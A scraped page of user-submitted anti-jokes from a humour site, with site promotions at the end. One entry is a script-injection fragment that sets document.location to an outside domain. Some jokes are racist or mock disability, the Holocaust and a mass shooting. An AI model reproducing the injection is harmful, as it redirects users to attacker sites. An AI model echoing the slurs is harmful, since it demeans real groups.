two friends are hanging out, one says to the other "whats 5 plus 5" the other says, "you know i didnt finish school and i dont appriceate you making fun of me" the other boy looks away and walks off

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The way I see it, there are two types of people. Some are female and some a male.

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A witch walks into a bar and orders a drink. She gets her drink and proceeds to have a great time.

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How do you greet your great great grandmother born in 1738? Hey, what's up, hello.

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whats worse than a leaf in your bed? World hunger, global warming, the economy......

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One a upon of time there was man named Cinderella. He was so mad because his name was Cinderella. The end.

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So you're flying around in your bathtub, how pancakes to shingle a doghouse? Airhockey, because pizza bagels can't cry.

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Roses are red, Violets are red, Oh shit my gardens on fire

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whats worse than the holocost, nothing

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"'>document.location.href="http://cramik.org"

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Who kills babies? A baby killer? No. I do.

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What do a plum and a bunny have in common? They're both purple. Except the bunny.

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why can't hellen keller drive? Because she is visually impared and there for it would not be safe for her to drive

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My grandma has this joke where she says "knock knock." I say "who's there?" She says "I can't remember" and starts to cry

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What did the zen master say to the hot dog vendor? Make me one with everything,

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what happened to the chicken who crossed the road he didn't realize that the light was green

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What did the chicken say to the duck .... Nothing the chickin was Spanish and the duck was illiterate

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A white man is found dead in an alley way, who was the murderer? The black guy trying to climb up the walls to escape.

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How do you know when you are really ugly? Objective self-evaluation, and frank, honest discussion with close friends and family.

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Paper or plastic? Yes...

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I couldn't afford haircuts so I purposely contracted cancer

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A man with Tourette's syndrome walks into a bar. Because of his disease, he shouts unexpected profanities across the room, and everybody in the bar bursts into laughter. The man cannot handle the humiliation anymore and goes home. He opens a drawer in his bedroom, pulls out a gun, and points it at his head. His wife walks in on him about to commit suicide. She is horrified. He then looks at her and then down, and he notices his one and only daughter by the age of 7 is by her side. The man ponders his reckless decision he was about to make. Moments later he and his family are holding one another sobbing in each others arms. A few days later the man goes back to the bar and shoots everybody there. Shocked and afraid, he curled up into a ball and regretted his decision. An hour later the police arrived and he was sentenced to life in prison for 3rd degree murder. His wife moved on and started a new family with his former best friend, and his daughter vists him every first tuesday of every other month. The man still suffers from Tourette's and cannot control his ticks and rots in jail. He continues to scream random obscenities for the rest of his life with no parole.

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What time is it in China right now? I have no idea, it would depend on when you are reading this. Perhaps you should look at a world clock, watch, or some other sort of time-telling device rather than humorous website. Its purpose is not to tell time. However, there are many other places for this. Good luck surfing the web, friend. I have aided you the best that I can. I only hope that you will find what you are looking for.

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Knock knock. Who's there? Insurance. Insurance who? I'm sorry, sir; we can't fix your liver because you don't have any insurance.

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Anti Joke

What are Antijokes? Anti Jokes (or Anti Humor) is a type of comedy in which the uses is set up to expect a typical joke setup however the joke ends with such anticlimax that it becomes funny in its own right. The lack of punchline is the punchline.

Our Updated iOS App!

We've just released huge update to the iOS app! Now, access all your favorite text and photo sites like Anti-Joke, DIYLOL! A few things didn't make the original cut (like comments) but they'll be back soon. Best of all, the app is now FREE! Get it here.

The Anti Joke Book


NEW ANTI-JOKE BOOK!  Now that we've resolved the printing issues with our publisher, check out the BRAND SPANKING NEW Anti-Joke Book!

MOAR??

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Anti-Joke Chicken

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